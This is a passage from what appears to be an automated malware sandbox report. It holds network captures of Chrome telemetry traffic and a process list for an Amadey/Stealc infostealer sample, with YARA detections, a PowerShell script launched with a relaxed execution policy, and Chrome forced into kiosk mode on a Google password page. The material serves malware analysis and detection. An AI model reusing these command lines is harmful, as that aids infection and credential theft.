2024-09-30 07:54:16 UTC	1331	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 38 35 34 34 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682854400",null,null,null
2024-09-30 07:54:16 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:54:16 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:54:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:54:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	54565	142.250.186.78	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:54:16 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1386 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:54:16 UTC	1386	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 38 35 34 35 38 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682854582",null,null,null
2024-09-30 07:54:16 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:54:16 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:54:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:54:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	54581	142.250.185.78	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:54:46 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1529 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:54:46 UTC	1529	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 38 38 34 34 35 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682884456",null,null,null
2024-09-30 07:54:46 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:54:46 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:54:46 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:54:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	54583	142.250.185.78	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:54:49 UTC	1266	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1547 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=lz7WNrw3UapvRk7lQpWS4juOJAw06kLlq9DJ_NWNTYjURb-JH03ywvwf_m-FaevNHaxLYZ3r52FkpABUnLJ8rlxXmcOJG1u4G56M71bmdAnDoB7rHtTt4qNNETjotTu_rLKkABA3DFNN7nEDPNJ4ghLcOMhIOHqTBR5jWV-cjdW87K9OkuWkbV5nujI
2024-09-30 07:54:49 UTC	1547	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 38 38 37 30 36 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682887066",null,null,null
2024-09-30 07:54:49 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:54:49 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:54:49 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-30 07:54:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:51:00
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\4qIl08vrFY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4qIl08vrFY.exe"
Imagebase:	0x6a0000
File size:	427'008 bytes
MD5 hash:	7A1CEE6327C5ACF66E2AEBB0D7BC25BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000000.2031413122.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:51:00
Start date:	30/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x140000
File size:	427'008 bytes
MD5 hash:	7A1CEE6327C5ACF66E2AEBB0D7BC25BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000000.2037585408.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:51:01
Start date:	30/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x140000
File size:	427'008 bytes
MD5 hash:	7A1CEE6327C5ACF66E2AEBB0D7BC25BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.4503861250.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000000.2041872696.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.4499772578.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000003.2186829926.0000000003ED5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:51:07
Start date:	30/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000113001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000113001\num.exe"
Imagebase:	0x50000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000000.2108358478.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2121787066.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000113001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:51:12
Start date:	30/09/2024
Path:	C:\Users\user\1000115002\6b11689b40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000115002\6b11689b40.exe"
Imagebase:	0xbe0000
File size:	1'857'024 bytes
MD5 hash:	B92F60A126C6E055A86CF6145CFCCFC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2214014711.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.2172652272.0000000005590000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.2212980719.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:51:15
Start date:	30/09/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	427'008 bytes
MD5 hash:	7A1CEE6327C5ACF66E2AEBB0D7BC25BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000000.2186715740.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.4499620731.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:51:19
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1000140041\ko.ps1"
Imagebase:	0xea0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:51:19
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:51:20
Start date:	30/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:51:25
Start date:	30/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	03:51:25
Start date:	30/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2256 --field-trial-handle=2024,i,122868655359159109,17278634962393556832,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	03:51:28
Start date:	30/09/2024
Path:	C:\Users\user\1000115002\6b11689b40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000115002\6b11689b40.exe"
Imagebase:	0xbe0000
File size:	1'857'024 bytes
MD5 hash:	B92F60A126C6E055A86CF6145CFCCFC3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000003.2335410022.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2384037029.00000000013FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2383087650.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:51:36
Start date:	30/09/2024
Path:	C:\Users\user\1000115002\6b11689b40.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000115002\6b11689b40.exe"
Imagebase:	0xbe0000
File size:	1'857'024 bytes
MD5 hash:	B92F60A126C6E055A86CF6145CFCCFC3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.2411328213.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2452210924.000000000089B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2453067018.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:51:38
Start date:	30/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
